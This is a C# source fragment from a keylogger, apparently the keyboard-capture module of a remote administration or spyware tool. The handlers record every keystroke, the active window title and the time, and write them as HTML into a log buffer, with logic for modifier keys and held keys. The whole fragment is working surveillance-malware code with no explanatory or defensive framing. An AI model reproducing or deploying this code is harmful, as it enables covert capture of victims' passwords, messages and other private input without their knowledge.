private void OnKeyDown(object sender, KeyEventArgs e) //Called first
{
string activeWindowTitle = KeyloggerHelper.GetActiveWindowTitle(); //Get active thread window title
if (!string.IsNullOrEmpty(activeWindowTitle) && activeWindowTitle != _lastWindowTitle)
{
_lastWindowTitle = activeWindowTitle;
_logFileBuffer.Append(@"<p class=""h""><br><br>[<b>"
+ KeyloggerHelper.Filter(activeWindowTitle) + " - "
+ DateTime.Now.ToString("HH:mm")
+ "</b>]</p><br>");
}
if (_pressedKeys.IsModifierKeysSet())
{
if (!_pressedKeys.Contains(e.KeyCode))
{
Debug.WriteLine("OnKeyDown: " + e.KeyCode);
_pressedKeys.Add(e.KeyCode);
return;
}
}
if (!e.KeyCode.IsExcludedKey())
{
// The key was not part of the keys that we wish to filter, so
// be sure to prevent a situation where multiple keys are pressed.
if (!_pressedKeys.Contains(e.KeyCode))
{
Debug.WriteLine("OnKeyDown: " + e.KeyCode);
_pressedKeys.Add(e.KeyCode);
}
}
}
//This method should be used to process all of our unicode characters
private void OnKeyPress(object sender, KeyPressEventArgs e) //Called second
{
if (_pressedKeys.IsModifierKeysSet() && _pressedKeys.ContainsKeyChar(e.KeyChar))
{
return;
}
if ((!_pressedKeyChars.Contains(e.KeyChar) || !KeyloggerHelper.DetectKeyHolding(_pressedKeyChars, e.KeyChar)) && !_pressedKeys.ContainsKeyChar(e.KeyChar))
{
var filtered = KeyloggerHelper.Filter(e.KeyChar);
if (!string.IsNullOrEmpty(filtered))
{
Debug.WriteLine("OnKeyPress Output: " + filtered);
if (_pressedKeys.IsModifierKeysSet())
{
_ignoreSpecialKeys = true;
}
_pressedKeyChars.Add(e.KeyChar);
_logFileBuffer.Append(filtered);
}
}
}
private string HighlightSpecialKeys(Keys[] keys)
{
if (keys.Length < 1)
{
return(string.Empty);
}
string[] names = new string[keys.Length];
for (int i = 0; i < keys.Length; i++)
{
if (!_ignoreSpecialKeys)
{
names[i] = KeyloggerHelper.GetDisplayName(keys[i]);
Debug.WriteLine("HighlightSpecialKeys: " + keys[i] + " : " + names[i]);
}
else
{
names[i] = string.Empty;
_pressedKeys.Remove(keys[i]);
}
}
_ignoreSpecialKeys = false;
if (_pressedKeys.IsModifierKeysSet())
{
StringBuilder specialKeys = new StringBuilder();
int validSpecialKeys = 0;
for (int i = 0; i < names.Length; i++)
{
_pressedKeys.Remove(keys[i]);
if (string.IsNullOrEmpty(names[i]))
{
continue;
}
specialKeys.AppendFormat((validSpecialKeys == 0) ? @"<p class=""h"">[{0}" : " + {0}", names[i]);
validSpecialKeys++;
}
// If there are items in the special keys string builder, give it an ending tag
if (validSpecialKeys > 0)
{
specialKeys.Append("]</p>");
}
Debug.WriteLineIf(specialKeys.Length > 0, "HighlightSpecialKeys Output: " + specialKeys.ToString());
return(specialKeys.ToString());
}
StringBuilder normalKeys = new StringBuilder();
for (int i = 0; i < names.Length; i++)
{
_pressedKeys.Remove(keys[i]);
if (string.IsNullOrEmpty(names[i]))
{
continue;
}
switch (names[i])
{
case "Return":
normalKeys.Append(@"<p class=""h"">[Enter]</p><br>");
break;
case "Escape":
normalKeys.Append(@"<p class=""h"">[Esc]</p>");
break;
default:
normalKeys.Append(@"<p class=""h"">[" + names[i] + "]</p>");
break;
}
}
Debug.WriteLineIf(normalKeys.Length > 0, "HighlightSpecialKeys Output: " + normalKeys.ToString());
return(normalKeys.ToString());
}